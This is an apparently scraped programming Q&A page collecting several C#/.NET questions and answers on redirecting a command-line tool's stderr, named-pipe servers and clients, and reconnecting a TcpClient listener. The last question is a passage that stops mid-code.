We Keep Coding

Missing Output when Redirecting Standard Error in C# / .NET Process

I'm working with a 3rd party, command-line tool called "sam-ba" v3.5 (available here for free). It's a C++ / QML command line tool that interfaces with a hardware module to read/write data. Output from commands, in most cases, is sent to Standard Error.
I have a C# / .NET application that creates a Process object to execute the sam-ba tool and run commands. Executing the commands works as expected. What doesn't always work is the redirect of the Standard Error output. In some commands, part or all of the output is not received by the C# application. For example, here is the execution of a command using the sam-ba tool directly at the Windows 10 command line:
C:\Temp\Stuff\sam-ba_3.5>sam-ba -p serial:COM5 -d sama5d3 -m version
Error: Cannot open invalid port 'COM5'
Cannot open invalid port 'COM5'
Here is some simple code from a C# application to create a Process object to execute the sam-ba tool with the same command:
Process p = new Process
{
StartInfo = new ProcessStartInfo("sam-ba.exe", "-p serial:COM5 -d sama5d3 -m version")
{
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true
}
};
p.Start();
string output = p.StandardOutput.ReadToEnd();
string error = p.StandardError.ReadToEnd();
p.WaitForExit();
Console.WriteLine("Standard Out: " + output);
Console.WriteLine("Standard Error: " + error);
The Output of the C# application:
Standard Out:
Standard Error: Cannot open invalid port 'COM5'
In this simple example, only 1 of the output lines is redirected to Standard Error while the other is not. I've tried many different commands and results are mixed. Sometimes I get everything, sometimes partial output, sometimes no output.
Now ... here's the real issue. The following is a python script (v3.8) that does exactly what the C# application is doing:
import subprocess
import sys
result = subprocess.run("sam-ba.exe -p serial:COM5 -d sama5d3 -m version", capture_output=True, text=True)
print("stdout:", result.stdout)
print("stderr:", result.stderr)
This script always returns the correct output to standard error. BUT ... when I run this script from the C# app to create a chain of C# -> python -> sam-ba, I get the same issue of output missing from the stream.
This has led me to 2 conclusions:
Something in that sam-ba tool is different about the way it is outputting its text. Format, content, ... something. There's an inconsistency going on somewhere in that code
Something is different about the environment created by the C# Process object when executing external applications that doesn't happen when the external application is run directly. Otherwise, why would the python script get all the output when run directly, but not when run through the C# Process object?
It is #2 that has brought me here. I'm looking for any insight on how to diagnose this. Something I'm doing wrong, settings I can try within the Process object, thoughts on how data can go into a stream and not come out on redirect, or if anyone has ever seen something like this before and how they resolved it.
UPDATE
Got a hold of the sam-ba tool's source code. The output the C# app is not capturing is coming from the QML files. They are using this 'print()' method that I can't really find any details on. The output the C# app can capture is being delivered back to the C++ side via signals and then sent to standard error. This feeds back into my conclusion #1 where they have inconsistencies in their code.
Still, this potentially means there is a conflict between C# and QT/QML, which would explain why the Python script gets the QML output, but the C# app does not.

The following uses ShellExecute instead of CreateProcess when running
process. When using ShellExecute one can't re-direct StandardOutput and/or StandardError for Process. To work around this, both StandardOutput and StandardError are re-directed to a temp file, and then the data is read from the temp file--which seems to result in the same output that one sees when running from a cmd window.
Note: In the following code it's necessary to use %windir%\system32\cmd.exe (ex: C:\Windows\system32\cmd.exe) with the /c option. See the usage section below.
Add using statement: using System.Diagnostics;
Then try the following:
public string RunProcess(string fqExePath, string arguments, bool runAsAdministrator = false)
{
string result = string.Empty;
string tempFilename = System.IO.Path.Combine(System.IO.Path.GetTempPath(), "tempSam-ba.txt");
string tempArguments = arguments;
if (String.IsNullOrEmpty(fqExePath))
{
Debug.WriteLine("fqExePath not specified");
return "Error: fqExePath not specified";
}
//redirect both StandardOutput and StandardError to a temp file
if (!arguments.Contains("2>&1"))
{
tempArguments += String.Format(" {0} {1} {2}", #"1>", tempFilename, #"2>&1");
}
//create new instance
ProcessStartInfo startInfo = new ProcessStartInfo(fqExePath, tempArguments);
if (runAsAdministrator)
{
startInfo.Verb = "runas"; //elevates permissions
}//if
//set environment variables
//pStartInfo.EnvironmentVariables["SomeVar"] = "someValue";
startInfo.RedirectStandardError = false;
startInfo.RedirectStandardOutput = false;
startInfo.RedirectStandardInput = false;
startInfo.UseShellExecute = true; //use ShellExecute instead of CreateProcess
startInfo.CreateNoWindow = false;
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.ErrorDialog = false;
startInfo.WorkingDirectory = System.IO.Path.GetDirectoryName(fqExePath);
using (Process p = Process.Start(startInfo))
{
//start
p.Start();
//waits until the process is finished before continuing
p.WaitForExit();
}
//read output from temp file
//file may still be in use, so try to read it.
//if it is still in use, sleep and try again
if (System.IO.File.Exists(tempFilename))
{
string errMsg = string.Empty;
int count = 0;
do
{
//re-initialize
errMsg = string.Empty;
try
{
result = System.IO.File.ReadAllText(tempFilename);
Debug.WriteLine(result);
}
catch(System.IO.IOException ex)
{
errMsg = ex.Message;
}
catch (Exception ex)
{
errMsg = ex.Message;
}
System.Threading.Thread.Sleep(125);
count += 1; //increment
} while (!String.IsNullOrEmpty(errMsg) && count < 10);
//delete temp file
System.IO.File.Delete(tempFilename);
}
return result;
}
Usage:
RunProcess(#"C:\Windows\system32\cmd.exe", #"/c C:\Temp\sam-ba_3.5\sam-ba.exe -p serial:COM5 -d sama5d3 -m version");
Note: /c C:\Temp\sam-ba_3.5\sam-ba.exe -p serial:COM5 -d sama5d3 -m version is the value of the process "Argument" property.
Update:
Option 2:
Here's a solution that uses named pipes. Process is used to redirect the output to a named pipe instead of a file. One creates a named pipe "server" which listens for a connection from a client.Then System.Diagnostics.Process is used to run the desired command and redirect the output to the named pipe server. The "server" reads the output, and then raises event "DataReceived" which will return the data to any subscribers.
The named pipe server code is from here, however I've modified it. I've added numerous events--which can be subscribed to. I've also added the ability for the server to shut itself down after it's finished reading the data by setting "ShutdownWhenOperationComplete" to "true".
Create a class named: HelperNamedPipeServer.cs
HelperNamedPipeServer.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO.Pipes;
using System.IO;
using System.Diagnostics;
using System.Threading;
using System.Security.Principal;
namespace ProcessTest
{
public class HelperNamedPipeServer : IDisposable
{
//delegates
public delegate void EventHandlerClientConnected(object sender, bool e);
public delegate void EventHandlerDataReceived(object sender, string data);
public delegate void EventHandlerOperationCompleted(object sender, bool e);
public delegate void EventHandlerMessageComplete(object sender, bool e);
public delegate void EventHandlerReadComplete(object sender, bool e);
public delegate void EventHandlerServerShutdown(object sender, bool e);
public delegate void EventHandlerServerStarted(object sender, bool e);
//event that subscribers can subscribe to
public event EventHandlerClientConnected ClientConnected;
public event EventHandlerDataReceived DataReceived;
public event EventHandlerMessageComplete MessageReadComplete;
public event EventHandlerOperationCompleted OperationCompleted;
public event EventHandlerReadComplete ReadComplete;
public event EventHandlerServerShutdown ServerShutdown;
public event EventHandlerServerStarted ServerStarted;
public bool IsClientConnected
{
get
{
if (_pipeServer == null)
{
return false;
}
else
{
return _pipeServer.IsConnected;
}
}
}
public string PipeName { get; set; } = string.Empty;
public bool ShutdownWhenOperationComplete { get; set; } = false;
//private int _bufferSize = 4096;
private int _bufferSize = 65535;
//private volatile NamedPipeServerStream _pipeServer = null;
private NamedPipeServerStream _pipeServer = null;
public HelperNamedPipeServer()
{
PipeName = "sam-ba-pipe";
}
public HelperNamedPipeServer(string pipeName)
{
PipeName = pipeName;
}
private NamedPipeServerStream CreateNamedPipeServerStream(string pipeName)
{
//named pipe with security
//SecurityIdentifier sid = new SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, null); //member of Administrators group
//SecurityIdentifier sid = new SecurityIdentifier(WellKnownSidType.WorldSid, null); //everyone
//SecurityIdentifier sid = new SecurityIdentifier(WellKnownSidType.BuiltinUsersSid, null); //member of Users group
//PipeAccessRule rule = new PipeAccessRule(sid, PipeAccessRights.ReadWrite, System.Security.AccessControl.AccessControlType.Allow);
//PipeSecurity pSec = new PipeSecurity();
//pSec.AddAccessRule(rule);
//named pipe - with specified security
//return new NamedPipeServerStream(PipeName, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Byte, PipeOptions.Asynchronous, _bufferSize, _bufferSize, pSec);
//named pipe - access for everyone
//return new System.IO.Pipes.NamedPipeServerStream(pipeName, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Message, PipeOptions.Asynchronous);
return new System.IO.Pipes.NamedPipeServerStream(pipeName, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Byte, PipeOptions.Asynchronous);
}
public void Dispose()
{
Shutdown();
}
private void OnClientConnected()
{
LogMsg("OnClientConnected");
//raise event
if (ClientConnected != null)
ClientConnected(this, true);
}
private void OnDataReceived(string data)
{
LogMsg("OnClientConnected");
//raise event
if (DataReceived != null && !String.IsNullOrEmpty(data))
{
if (DataReceived != null)
DataReceived(this, data);
}
}
private void OnMessageReadComplete()
{
LogMsg("OnMessageReadComplete");
//raise event
if (MessageReadComplete != null)
MessageReadComplete(this, true);
}
private void OnOperationCompleted()
{
LogMsg("OnOperationCompleted");
//raise event
if (OperationCompleted != null)
OperationCompleted(this, true);
}
private void OnReadComplete()
{
LogMsg("OnReadComplete");
//raise event
if (ReadComplete != null)
ReadComplete(this, true);
}
private void OnServerShutdown()
{
LogMsg("OnServerShutdown");
//raise event
if (ServerShutdown != null)
ServerShutdown(this, true);
}
private void OnServerStarted()
{
LogMsg("OnServerStarted");
//raise event
if (ServerStarted != null)
ServerStarted(this, true);
}
private async void DoConnectionLoop(IAsyncResult result)
{ //wait for connection, then process the data
if (!result.IsCompleted) return;
if (_pipeServer == null) return;
//IOException = pipe is broken
//ObjectDisposedException = cannot access closed pipe
//OperationCanceledException - read was canceled
//accept client connection
try
{
//client connected - stop waiting for connection
_pipeServer.EndWaitForConnection(result);
OnClientConnected(); //raise event
}
catch (IOException) { RebuildNamedPipe(); return; }
catch (ObjectDisposedException) { RebuildNamedPipe(); return; }
catch (OperationCanceledException) { RebuildNamedPipe(); return; }
while (IsClientConnected)
{
if (_pipeServer == null) break;
try
{
// read from client
string clientMessage = await ReadClientMessageAsync(_pipeServer);
OnDataReceived(clientMessage); //raise event
}
catch (IOException) { RebuildNamedPipe(); return; }
catch (ObjectDisposedException) { RebuildNamedPipe(); return; }
catch (OperationCanceledException) { RebuildNamedPipe(); return; }
}
//raise event
OnOperationCompleted();
if (!ShutdownWhenOperationComplete)
{
//client disconnected. start listening for clients again
if (_pipeServer != null)
RebuildNamedPipe();
}
else
{
Shutdown();
}
}
private void LogMsg(string msg)
{
//ToDo: log message
string output = String.Format("{0} - {1}", DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss"), msg);
//ToDo: uncomment this line, if desired
//Debug.WriteLine(output);
}
private void RebuildNamedPipe()
{
Shutdown();
_pipeServer = CreateNamedPipeServerStream(PipeName);
_pipeServer.BeginWaitForConnection(DoConnectionLoop, null);
}
private async Task<string> ReadClientMessageAsync(NamedPipeServerStream stream)
{
byte[] buffer = null;
string clientMsg = string.Empty;
StringBuilder sb = new StringBuilder();
int msgIndex = 0;
int read = 0;
LogMsg("Reading message...");
if (stream.ReadMode == PipeTransmissionMode.Byte)
{
LogMsg("PipeTransmissionMode.Byte");
//byte mode ignores message boundaries
do
{
//create instance
buffer = new byte[_bufferSize];
read = await stream.ReadAsync(buffer, 0, buffer.Length);
if (read > 0)
{
clientMsg = Encoding.UTF8.GetString(buffer, 0, read);
//string clientMsg = Encoding.Default.GetString(buffer, 0, read);
//remove newline
//clientMsg = System.Text.RegularExpressions.Regex.Replace(clientString, #"\r\n|\t|\n|\r|", "");
//LogMsg("clientMsg [" + msgIndex + "]: " + clientMsg);
sb.Append(clientMsg);
msgIndex += 1; //increment
}
} while (read > 0);
//raise event
OnReadComplete();
OnMessageReadComplete();
}
else if (stream.ReadMode == PipeTransmissionMode.Message)
{
LogMsg("PipeTransmissionMode.Message");
do
{
do
{
//create instance
buffer = new byte[_bufferSize];
read = await stream.ReadAsync(buffer, 0, buffer.Length);
if (read > 0)
{
clientMsg = Encoding.UTF8.GetString(buffer, 0, read);
//string clientMsg = Encoding.Default.GetString(buffer, 0, read);
//remove newline
//clientMsg = System.Text.RegularExpressions.Regex.Replace(clientString, #"\r\n|\t|\n|\r|", "");
//LogMsg("clientMsg [" + msgIndex + "]: " + clientMsg);
sb.Append(clientMsg);
msgIndex += 1; //increment
}
} while (!stream.IsMessageComplete);
//raise event
OnMessageReadComplete();
} while (read > 0);
//raise event
OnReadComplete();
LogMsg("message completed");
}
return sb.ToString();
}
private void Shutdown()
{
LogMsg("Shutting down named pipe server");
if (_pipeServer != null)
{
try { _pipeServer.Close(); } catch { }
try { _pipeServer.Dispose(); } catch { }
_pipeServer = null;
}
}
public void StartServer(object obj = null)
{
LogMsg("Info: Starting named pipe server...");
_pipeServer = CreateNamedPipeServerStream(PipeName);
_pipeServer.BeginWaitForConnection(DoConnectionLoop, null);
}
public void StopServer()
{
Shutdown();
OnServerShutdown(); //raise event
LogMsg("Info: Server shutdown.");
}
}
}
Next, I've created a "Helper" class that contains the code to start the named pipe server, run the command using Process, and return the data. There are three ways to get the data. It's returned by the method, one can subscribe to the "DataReceived" event, or once the method completes, the data will be in property "Data".
Helper.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO.Pipes;
using System.IO;
using System.Threading;
namespace ProcessTest
{
public class Helper : IDisposable
{
public delegate void EventHandlerDataReceived(object sender, string data);
//event that subscribers can subscribe to
public event EventHandlerDataReceived DataReceived;
private StringBuilder _sbData = new StringBuilder();
private HelperNamedPipeServer _helperNamedPipeServer = null;
private bool _namedPipeServerOperationComplete = false;
public string Data { get; private set; } = string.Empty;
public Helper()
{
}
private void OnDataReceived(string data)
{
if (!String.IsNullOrEmpty(data) && DataReceived != null)
{
DataReceived(this, data);
//Debug.Write("Data: " + data);
}
}
public void Dispose()
{
ShutdownNamedPipeServer();
}
public async Task<string> RunSambaNamedPipesAsync(string fqExePath, string arguments, string pipeName = "sam-ba-pipe", string serverName = ".", bool runAsAdministrator = false)
{
string result = string.Empty;
string tempArguments = arguments;
//re-initialize
_namedPipeServerOperationComplete = false;
_sbData = new StringBuilder();
Data = string.Empty;
if (String.IsNullOrEmpty(fqExePath))
{
Debug.WriteLine("fqExePath not specified");
return "fqExePath not specified";
}
//create new instance
_helperNamedPipeServer = new HelperNamedPipeServer(pipeName);
_helperNamedPipeServer.ShutdownWhenOperationComplete = true;
//subscribe to events
_helperNamedPipeServer.DataReceived += HelperNamedPipeServer_DataReceived;
_helperNamedPipeServer.OperationCompleted += HelperNamedPipeServer_OperationCompleted;
//start named pipe server on it's own thread
Thread t = new Thread(_helperNamedPipeServer.StartServer);
t.Start();
//get pipe name to use with Process
//this is where output from the process
//will be redirected to
string fqNamedPipe = string.Empty;
if (String.IsNullOrEmpty(serverName))
{
fqNamedPipe = String.Format(#"\\{0}\pipe\{1}", serverName, pipeName);
}
else
{
fqNamedPipe = String.Format(#"\\{0}\pipe\{1}", ".", pipeName);
}
//redirect both StandardOutput and StandardError to named pipe
if (!arguments.Contains("2>&1"))
{
tempArguments += String.Format(" {0} {1} {2}", #"1>", fqNamedPipe, #"2>&1");
}
//run Process
RunProcess(fqExePath, tempArguments, runAsAdministrator);
while (!_namedPipeServerOperationComplete)
{
await Task.Delay(125);
}
//set value
Data = _sbData.ToString();
return Data;
}
public void RunProcess(string fqExePath, string arguments, bool runAsAdministrator = false)
{
if (String.IsNullOrEmpty(fqExePath))
{
Debug.WriteLine("fqExePath not specified");
throw new Exception( "Error: fqExePath not specified");
}
//create new instance
ProcessStartInfo startInfo = new ProcessStartInfo(fqExePath, arguments);
if (runAsAdministrator)
{
startInfo.Verb = "runas"; //elevates permissions
}//if
//set environment variables
//pStartInfo.EnvironmentVariables["SomeVar"] = "someValue";
startInfo.RedirectStandardError = false;
startInfo.RedirectStandardOutput = false;
startInfo.RedirectStandardInput = false;
startInfo.UseShellExecute = true; //use ShellExecute instead of CreateProcess
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.ErrorDialog = false;
startInfo.WorkingDirectory = System.IO.Path.GetDirectoryName(fqExePath);
using (Process p = Process.Start(startInfo))
{
//start
p.Start();
//waits until the process is finished before continuing
p.WaitForExit();
}
}
private void HelperNamedPipeServer_OperationCompleted(object sender, bool e)
{
//Debug.WriteLine("Info: Named pipe server - Operation completed.");
//set value
Data = _sbData.ToString();
//set value
_namedPipeServerOperationComplete = true;
}
private void HelperNamedPipeServer_DataReceived(object sender, string data)
{
Debug.WriteLine("Info: Data received from named pipe server.");
if (!String.IsNullOrEmpty(data))
{
//append
_sbData.Append(data.TrimEnd('\0'));
//send data to subscribers
OnDataReceived(data);
}
}
private void ShutdownNamedPipeServer()
{
Debug.WriteLine("Info: ShutdownNamedPipeServer");
try
{
if (_helperNamedPipeServer != null)
{
//unsubscribe from events
_helperNamedPipeServer.DataReceived -= HelperNamedPipeServer_DataReceived;
_helperNamedPipeServer.OperationCompleted -= HelperNamedPipeServer_OperationCompleted;
_helperNamedPipeServer.Dispose();
_helperNamedPipeServer = null;
}
}
catch (Exception ex)
{
}
}
}
}
Usage:
private async void btnRunUsingNamedPipes_Click(object sender, EventArgs e)
{
//Button name: btnRunUsingNamedPipes
using (Helper helper = new Helper())
{
//subscribe to event
helper.DataReceived += Helper_DataReceived;
var result = await helper.RunSambaNamedPipesAsync(#"C:\Windows\system32\cmd.exe", #"/c C:\Temp\sam-ba_3.5\sam-ba.exe -p serial:COM5 -d sama5d3 -m version");
Debug.WriteLine("Result: " + result);
//unsubscribe from event
helper.DataReceived -= Helper_DataReceived;
}
}
private void Helper_DataReceived(object sender, string data)
{
//System.Diagnostics.Debug.WriteLine(data);
//RichTextBox name: richTextBoxOutput
if (richTextBoxOutput.InvokeRequired)
{
richTextBoxOutput.Invoke((MethodInvoker)delegate
{
richTextBoxOutput.Text = data;
richTextBoxOutput.Refresh();
});
}
}
Resources:
When do we need to set ProcessStartInfo.UseShellExecute to True?
Redirecting error messages from Command Prompt: STDERR/STDOUT
PipeTransmissionMode.Message: How do .NET named pipes distinguish between messages?
WellKnownSidType Enum

Async Named Pipes Using Objects C#

I am trying to learn to play with named pipes for communication. The following code project does a great job showing what an example with a raw string.
https://www.codeproject.com/Tips/492231/Csharp-Async-Named-Pipes
I am wrestling with changing the sending of a raw string to send an object instead.
Can someone demonstrate how to send an Order instead of a string?
I have some code to send an object but having issues combining the code project with this idea..
Here is my pipeClient
public class Order
{
public string ProductName { get; set; }
public int Quantity { get; set; }
public string CustomerName { get; set; }
public string Address { get; set; }
}
class PipeClient
{
public void Send(string SendStr, string PipeName, int TimeOut = 1000)
{
try
{
NamedPipeClientStream pipeStream = new NamedPipeClientStream(".", "orders", PipeDirection.Out, PipeOptions.Asynchronous);
// The connect function will indefinitely wait for the pipe to become available
// If that is not acceptable specify a maximum waiting time (in ms)
Order order = new Order()
{
Address = SendStr,
CustomerName = "John",
ProductName = "Visual Studio 2015",
Quantity = 1
};
string serialised = Json.Net.JsonNet.Serialize(order);
pipeStream.Connect(TimeOut);
Debug.WriteLine("[Client] Pipe connection established");
byte[] _buffer = Encoding.UTF8.GetBytes(serialised);
pipeStream.BeginWrite(_buffer, 0, _buffer.Length, AsyncSend, pipeStream);
}
catch (TimeoutException oEX)
{
Debug.WriteLine(oEX.Message);
}
}
private void AsyncSend(IAsyncResult iar)
{
try
{
// Get the pipe
NamedPipeClientStream pipeStream = (NamedPipeClientStream)iar.AsyncState;
// End the write
pipeStream.EndWrite(iar);
pipeStream.Flush();
pipeStream.Close();
pipeStream.Dispose();
}
catch (Exception oEX)
{
Debug.WriteLine(oEX.Message);
}
}
}
My code breaks here --> pipeStream.Connect(TimeOut);
Here is my server edits
private void WaitForConnectionCallBack(IAsyncResult iar)
{
try
{
// Get the pipe
NamedPipeServerStream pipeServer = (NamedPipeServerStream)iar.AsyncState;
// End waiting for the connection
pipeServer.EndWaitForConnection(iar);
StringBuilder messageBuilder = new StringBuilder();
string messageChunk = string.Empty;
byte[] buffer = new byte[255];
do
{
pipeServer.Read(buffer, 0, buffer.Length);
messageChunk = Encoding.UTF8.GetString(buffer);
messageBuilder.Append(messageChunk);
buffer = new byte[buffer.Length];
}
while (!pipeServer.IsMessageComplete);
//Order order = Json.Net.JsonNet.Deserialize<Order>(messageBuilder.ToString());
PipeMessage.Invoke(messageBuilder.ToString());
// Read the incoming message
//pipeServer.Read(buffer, 0, 255);
// Convert byte buffer to string
//string stringData = Encoding.UTF8.GetString(buffer, 0, buffer.Length);
//Debug.WriteLine(stringData + Environment.NewLine);
// Pass message back to calling form
//PipeMessage.Invoke(stringData);
// Kill original sever and create new wait server
pipeServer.Close();
pipeServer = null;
pipeServer = new NamedPipeServerStream(_pipeName, PipeDirection.In, 1, PipeTransmissionMode.Byte, PipeOptions.Asynchronous);
// Recursively wait for the connection again and again....
pipeServer.BeginWaitForConnection(new AsyncCallback(WaitForConnectionCallBack), pipeServer);
}
catch
{
return;
}
}
.
.
. Server Form
private void PipesMessageHandler(string message)
{
try
{
if (this.InvokeRequired)
{
this.Invoke(new NewMessageDelegate(PipesMessageHandler), message);
}
else
{
Order order = Json.Net.JsonNet.Deserialize<Order>(message);
txtOutput.Text = txtOutput.Text +
Environment.NewLine +
String.Format("Address: {0}" +
"Customer: {1}" +
"Product: {2}" +
"Quantity: {3}", order.Address, order.CustomerName, order.ProductName, order.Quantity.ToString());
//txtMessage.Text = message;
}
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
}

TcpClient exceptions when calling EndReceive and BeginReceive

I'm trying to implement wrapper class which will simply connect to TCP server and wait for data. Once data submitted from server - I will receive this data and pass it onto subscribers of my class.
All this works. Now I want to add external functionality to "reset" this class on a timer (force reconnect every so often) to keep connection alive. My idea is that Init method can be called as many times as needed to get socket reset. However, I do get various exceptions with this.
Class code:
namespace Ditat.GateControl.Service.InputListener
{
using System;
using System.ComponentModel;
using System.Net;
using System.Net.Sockets;
using System.Text;
public class BaseTCPSocketListener : IInputListener
{
#region Events/Properties
public event EventHandler<Exception> OnError;
public event EventHandler<string> OnDataReceived;
private string host;
private int port;
private int delayToClearBufferSeconds = 5;
private TcpClient client;
private readonly byte[] buffer = new byte[1024];
/// <summary>
/// Will accumulate data as it's received
/// </summary>
private string DataBuffer { get; set; }
/// <summary>
/// Store time of last data receipt. Need this in order to purge data after delay
/// </summary>
private DateTime LastDataReceivedOn { get; set; }
#endregion
public BaseTCPSocketListener()
{
// Preset all entries
this.LastDataReceivedOn = DateTime.UtcNow;
this.DataBuffer = string.Empty;
}
public void Init(string config)
{
// Parse info
var bits = config.Split(new[] { '|' }, StringSplitOptions.RemoveEmptyEntries);
this.host = bits[0];
var hostBytes = this.host.Split(new[] { '.' }, StringSplitOptions.RemoveEmptyEntries);
var hostIp = new IPAddress(new[] { byte.Parse(hostBytes[0]), byte.Parse(hostBytes[1]), byte.Parse(hostBytes[2]), byte.Parse(hostBytes[3]) });
this.port = int.Parse(bits[1]);
this.delayToClearBufferSeconds = int.Parse(bits[2]);
// Close open client
if (this.client?.Client != null)
{
this.client.Client.Disconnect(true);
this.client = null;
}
// Connect to client
this.client = new TcpClient();
if (!this.client.ConnectAsync(hostIp, this.port).Wait(2500))
throw new Exception($"Failed to connect to {this.host}:{this.port} in allotted time");
this.EstablishReceiver();
}
protected void DataReceived(IAsyncResult result)
{
// End the data receiving that the socket has done and get the number of bytes read.
var bytesCount = 0;
try
{
bytesCount = this.client.Client.EndReceive(result);
}
catch (Exception ex)
{
this.RaiseOnErrorToClient(new Exception(nameof(this.DataReceived)));
this.RaiseOnErrorToClient(ex);
}
// No data received, establish receiver and return
if (bytesCount == 0)
{
this.EstablishReceiver();
return;
}
// Convert the data we have to a string.
this.DataBuffer += Encoding.UTF8.GetString(this.buffer, 0, bytesCount);
// Record last time data received
this.LastDataReceivedOn = DateTime.UtcNow;
this.RaiseOnDataReceivedToClient(this.DataBuffer);
this.DataBuffer = string.Empty;
this.EstablishReceiver();
}
private void EstablishReceiver()
{
try
{
// Set up again to get the next chunk of data.
this.client.Client.BeginReceive(this.buffer, 0, this.buffer.Length, SocketFlags.None, this.DataReceived, this.buffer);
}
catch (Exception ex)
{
this.RaiseOnErrorToClient(new Exception(nameof(this.EstablishReceiver)));
this.RaiseOnErrorToClient(ex);
}
}
private void RaiseOnErrorToClient(Exception ex)
{
if (this.OnError == null) return;
foreach (Delegate d in this.OnError.GetInvocationList())
{
var syncer = d.Target as ISynchronizeInvoke;
if (syncer == null)
{
d.DynamicInvoke(this, ex);
}
else
{
syncer.BeginInvoke(d, new object[] { this, ex });
}
}
}
private void RaiseOnDataReceivedToClient(string data)
{
if (this.OnDataReceived == null) return;
foreach (Delegate d in this.OnDataReceived.GetInvocationList())
{
var syncer = d.Target as ISynchronizeInvoke;
if (syncer == null)
{
d.DynamicInvoke(this, data);
}
else
{
syncer.BeginInvoke(d, new object[] { this, data });
}
}
}
}
}
Client code (under button click on form)
private void ListenBaseButton_Click(object sender, EventArgs e)
{
if (this.bsl == null)
{
this.bsl = new BaseTCPSocketListener();
this.bsl.OnDataReceived += delegate (object o, string s)
{
this.DataTextBox.Text += $"Base: {DateTime.Now} - {s}" + Environment.NewLine;
};
this.bsl.OnError += delegate (object o, Exception x)
{
this.DataTextBox.Text += $"Base TCP receiver error: {DateTime.Now} - {x.Message}" + Environment.NewLine;
};
}
try
{
this.bsl.Init("192.168.33.70|10001|10");
this.DataTextBox.Text += "BEGIN RECEIVING BSL data --------------------------" + Environment.NewLine;
}
catch (Exception exception)
{
this.DataTextBox.Text += $"ERROR CONNECTING TO BSL ------------{exception.Message}" + Environment.NewLine;
}
}
Exceptions I get. First exception when button clicked 2nd time in from handler in DataReceived
The IAsyncResult object was not returned from the corresponding
asynchronous method on this class.
On following clicks I get exception from handler in EstablishReceiver
A request to send or receive data was disallowed because the socket is
not connected and (when sending on a datagram socket using a sendto
call) no address was supplied
How do I properly ensure socket closed and re-opened?

The IAsyncResult object was not returned from the corresponding
asynchronous method on this class.
This is a well known problem that happens when data callback (DataReceived()) is called for previous socket. In this case you will call Socket.EndReceive() with incorrect instance of IAsyncResult which throws above exception.
Asynchronous Client Socket Example contains possible workaround for this problem: store socket on which BeginReceive() was called in state object which is then passed to DataReceived callback:
StateObject class
public class StateObject
{
public Socket Socket { get; set; }
public byte[] Buffer { get; } = new byte[1024];
public StateObject(Socket socket)
{
Socket = socket;
}
}
EstablishReceiver() method:
private void EstablishReceiver()
{
try
{
var state = new StateObject(client.Client);
// Set up again to get the next chunk of data.
this.client.Client.BeginReceive(state.Buffer, 0, state.Buffer.Length, SocketFlags.None, this.DataReceived, state);
}
catch (Exception ex)
{
this.RaiseOnErrorToClient(new Exception(nameof(this.EstablishReceiver)));
this.RaiseOnErrorToClient(ex);
}
}
DataReceived() method:
protected void DataReceived(IAsyncResult result)
{
var state = (StateObject) result.AsyncState;
// End the data receiving that the socket has done and get the number of bytes read.
var bytesCount = 0;
try
{
SocketError errorCode;
bytesCount = state.Socket.EndReceive(result, out errorCode);
if (errorCode != SocketError.Success)
{
bytesCount = 0;
}
}
catch (Exception ex)
{
this.RaiseOnErrorToClient(new Exception(nameof(this.DataReceived)));
this.RaiseOnErrorToClient(ex);
}
if (bytesCount > 0)
{
// Convert the data we have to a string.
this.DataBuffer += Encoding.UTF8.GetString(state.Buffer, 0, bytesCount);
// Record last time data received
this.LastDataReceivedOn = DateTime.UtcNow;
this.RaiseOnDataReceivedToClient(this.DataBuffer);
this.DataBuffer = string.Empty;
this.EstablishReceiver();
}
}
A request to send or receive data was disallowed because the socket is
not connected and (when sending on a datagram socket using a sendto
call) no address was supplied
Above DataReceived() method also contains the fix for the second exception. Exception is caused by calling BeginReceive() (from EstablishReceiver()) on disconnected socket. You should not call BeginReceive() on a socket if previous read brought 0 bytes.

First of all, you're closing the socket being held by the TcpClient, but not disposing the client itself. Try the following:
// Close open client
this.client?.Close(); // Disposes and releases resources
this.client = null;

The issue is that DataReceived will be called when you close the client. You simply need to identify to the method that it should not do anything because you have deliberately ended the process. You could just add a bool:
private bool ignoreCallback;
public void Init(string config)
{
// Parse info
var bits = config.Split(new[] { '|' }, StringSplitOptions.RemoveEmptyEntries);
this.host = bits[0];
var hostBytes = this.host.Split(new[] { '.' }, StringSplitOptions.RemoveEmptyEntries);
var hostIp = new IPAddress(new[] { byte.Parse(hostBytes[0]), byte.Parse(hostBytes[1]), byte.Parse(hostBytes[2]), byte.Parse(hostBytes[3]) });
this.port = int.Parse(bits[1]);
this.delayToClearBufferSeconds = int.Parse(bits[2]);
// Close open client
if (this.client?.Client != null)
{
ignoreCallback = true;
this.client.Client.Disconnect(true);
this.client = null;
}
// Connect to client
this.client = new TcpClient();
if (!this.client.ConnectAsync(hostIp, this.port).Wait(2500))
throw new Exception($"Failed to connect to {this.host}:{this.port} in allotted time");
this.EstablishReceiver();
}
protected void DataReceived(IAsyncResult result)
{
if (ignoreCallback)
{
ignoreCallback = false;
return;
}
...

Using named pipes, how to write messages client receives in its form one by one?

I have a Windows service and a client listening with the following funcionality:
Win service:
Creates named pipe
Creates client process
Waits for connection
Writes to client process
Reads from client
Writes to client process
Reads from client
...
public static bool StartProcessAsCurrentUser()
{
var hUserToken = IntPtr.Zero;
var sInfo = new STARTUPINFO();
var procInfo = new PROCESS_INFORMATION();
var pEnv = IntPtr.Zero;
int iResultOfCreateProcessAsUser;
string cmdLine = "ClientNamedPipeForm.exe";
sInfo.cb = Marshal.SizeOf(typeof(STARTUPINFO));
byte[] buffer = new byte[BUFSIZE];
try
{
var tSecurity = new SECURITY_ATTRIBUTES();
tSecurity.nLength = Marshal.SizeOf(tSecurity);
var pSecurity = new SECURITY_ATTRIBUTES();
pSecurity.nLength = Marshal.SizeOf(pSecurity);
pSecurity.bInheritHandle = true; //For controling handles from child process
